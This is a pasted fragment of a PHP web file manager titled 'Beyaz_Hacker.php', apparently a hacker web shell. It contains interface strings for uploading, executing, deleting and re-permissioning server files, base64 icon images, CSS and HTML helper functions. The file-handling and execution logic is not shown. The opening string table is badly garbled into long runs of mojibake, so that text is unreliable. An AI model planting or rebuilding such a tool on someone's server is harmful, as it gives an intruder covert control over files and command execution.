  2392. 'not_symlinked' => '����¯�¿�½������®����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ "[%2]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ "[%1]".',
  2393. 'permission_for' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ "[%1]":',
  2394. 'permission_set' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ "[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ [%2].',
  2395. 'permission_not_set' => '����¯�¿�½������®����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ "[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ [%2] .',
  2396. 'not_readable' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.'
  2397.         );
  2398.  
  2399.     case 'en':
  2400.     default:
  2401.  
  2402.         $date_format = 'n/j/y H:i:s';
  2403.         $word_charset = 'ISO-8859-1';
  2404.  
  2405.         return array(
  2406. 'directory' => 'Directory',
  2407. 'file' => 'File',
  2408. 'filename' => 'Filename',
  2409.  
  2410. 'size' => 'Size',
  2411. 'permission' => 'Permission',
  2412. 'owner' => 'Owner',
  2413. 'group' => 'Group',
  2414. 'other' => 'Others',
  2415. 'functions' => 'Functions',
  2416.  
  2417. 'read' => 'read',
  2418. 'write' => 'write',
  2419. 'execute' => 'execute',
  2420.  
  2421. 'create_symlink' => 'create symlink',
  2422. 'delete' => 'delete',
  2423. 'rename' => 'rename',
  2424. 'move' => 'move',
  2425. 'copy' => 'copy',
  2426. 'edit' => 'edit',
  2427. 'download' => 'download',
  2428. 'upload' => 'upload',
  2429. 'create' => 'create',
  2430. 'change' => 'change',
  2431. 'save' => 'save',
  2432. 'set' => 'set',
  2433. 'reset' => 'reset',
  2434. 'relative' => 'Relative path to target',
  2435.  
  2436. 'yes' => 'Yes',
  2437. 'no' => 'No',
  2438. 'back' => 'back',
  2439. 'destination' => 'Destination',
  2440. 'symlink' => 'Symlink',
  2441. 'no_output' => 'no output',
  2442.  
  2443. 'user' => 'User',
  2444. 'password' => 'Password',
  2445. 'add' => 'add',
  2446. 'add_basic_auth' => 'add basic-authentification',
  2447.  
  2448. 'uploaded' => '"[%1]" has been uploaded.',
  2449. 'not_uploaded' => '"[%1]" could not be uploaded.',
  2450. 'already_exists' => '"[%1]" already exists.',
  2451. 'created' => '"[%1]" has been created.',
  2452. 'not_created' => '"[%1]" could not be created.',
  2453. 'really_delete' => 'Delete these files?',
  2454. 'deleted' => "These files have been deleted:\n[%1]",
  2455. 'not_deleted' => "These files could not be deleted:\n[%1]",
  2456. 'rename_file' => 'Rename file:',
  2457. 'renamed' => '"[%1]" has been renamed to "[%2]".',
  2458. 'not_renamed' => '"[%1] could not be renamed to "[%2]".',
  2459. 'move_files' => 'Move these files:',
  2460. 'moved' => "These files have been moved to \"[%2]\":\n[%1]",
  2461. 'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
  2462. 'copy_files' => 'Copy these files:',
  2463. 'copied' => "These files have been copied to \"[%2]\":\n[%1]",
  2464. 'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
  2465. 'not_edited' => '"[%1]" can not be edited.',
  2466. 'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
  2467. 'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
  2468. 'saved' => '"[%1]" has been saved.',
  2469. 'not_saved' => '"[%1]" could not be saved.',
  2470. 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
  2471. 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
  2472. 'permission_for' => 'Permission of "[%1]":',
  2473. 'permission_set' => 'Permission of "[%1]" was set to [%2].',
  2474. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  2475. 'not_readable' => '"[%1]" can not be read.'
  2476.         );
  2477.  
  2478.     }
  2479.  
  2480. }
  2481.  
  2482. function getimage ($image) {
  2483.     switch ($image) {
  2484.     case 'file':
  2485.         return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  2486.     case 'folder':
  2487.         return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
  2488.     case 'hidden_file':
  2489.         return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  2490.     case 'link':
  2491.         return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
  2492.     case 'smiley':
  2493.         return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
  2494.     case 'arrow':
  2495.         return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
  2496.     }
  2497. }
  2498.  
  2499. function html_header () {
  2500.     global $site_charset;
  2501.  
  2502.     echo <<<END
  2503. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  2504.      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  2505. <html xmlns="http://www.w3.org/1999/xhtml">
  2506. <head>
  2507.  
  2508. <meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
  2509.  
  2510. <title>Beyaz_Hacker.php</title>
  2511.  
  2512. <style type="text/css">
  2513. body { font: small sans-serif; text-align: center }
  2514. img { width: 17px; height: 13px }
  2515. a, a:visited { text-decoration: none; color: navy }
  2516. hr { border-style: none; height: 1px; background-color: silver; color: silver }
  2517. #main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
  2518. #main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
  2519. .listing th, .listing td { padding: 1px 3pt 0 3pt }
  2520. .listing th { border: 1px solid silver }
  2521. .listing td { border: 1px solid #ddd; background: white }
  2522. .listing .checkbox { text-align: center }
  2523. .listing .filename { text-align: left }
  2524. .listing .size { text-align: right }
  2525. .listing th.permission { text-align: left }
  2526. .listing td.permission { font-family: monospace }
  2527. .listing .owner { text-align: left }
  2528. .listing .group { text-align: left }
  2529. .listing .functions { text-align: left }
  2530. .listing_footer td { background: #eee; border: 1px solid silver }
  2531. #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
  2532. #directory { background: #eee; border: 1px solid silver }
  2533. #upload { padding-top: 1em }
  2534. #create { padding-bottom: 1em }
  2535. .small, .small option { font-size: x-small }
  2536. textarea { border: none; background: white }
  2537. table.dialog { margin-left: auto; margin-right: auto }
  2538. td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
  2539. #permission { margin-left: auto; margin-right: auto }
  2540. #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
  2541. td.permission_action { text-align: right }
  2542. #symlink { background: #eee; border: 1px solid silver }
  2543. #symlink td { text-align: left; padding: 3pt }
  2544. #red_button { width: 120px; color: #400 }
  2545. #green_button { width: 120px; color: #040 }
  2546. #error td { background: maroon; color: white; border: 1px solid silver }
  2547. #notice td { background: green; color: white; border: 1px solid silver }
  2548. #notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
  2549. code { font-size: 12pt }
  2550. td { white-space: nowrap }
  2551. </style>
  2552.  
  2553. <script type="text/javascript">
  2554. <!--
  2555. function activate (name) {
  2556.     if (document && document.forms[0] && document.forms[0].elements['focus']) {
  2557.         document.forms[0].elements['focus'].value = name;
  2558.     }
  2559. }
  2560. //-->
  2561. </script>
  2562.  
  2563. </head>
  2564. <body>
  2565.  
  2566.  
  2567. END;
  2568.  
  2569. }
  2570.  
  2571. function html_footer () {
  2572.  
  2573.     echo <<<END
  2574. </body>
  2575.  
  2576.  
  2577. </html>
  2578. END;
  2579.  
  2580. }
  2581.  
  2582. function notice ($phrase) {
  2583.     global $cols;
  2584.  
  2585.     $args = func_get_args();
  2586.     array_shift($args);
  2587.  
  2588.     return '<tr id="notice">
  2589.     <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2590. </tr>
  2591. ';
  2592.  
  2593. }
  2594.  
  2595. function error ($phrase) {
  2596.     global $cols;
  2597.  
  2598.     $args = func_get_args();
  2599.     array_shift($args);
  2600.  
  2601.     return '<tr id="error">
  2602.     <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2603. </tr>
  2604. ';
  2605.  
  2606. }
Add Comment
Please, Sign In to add comment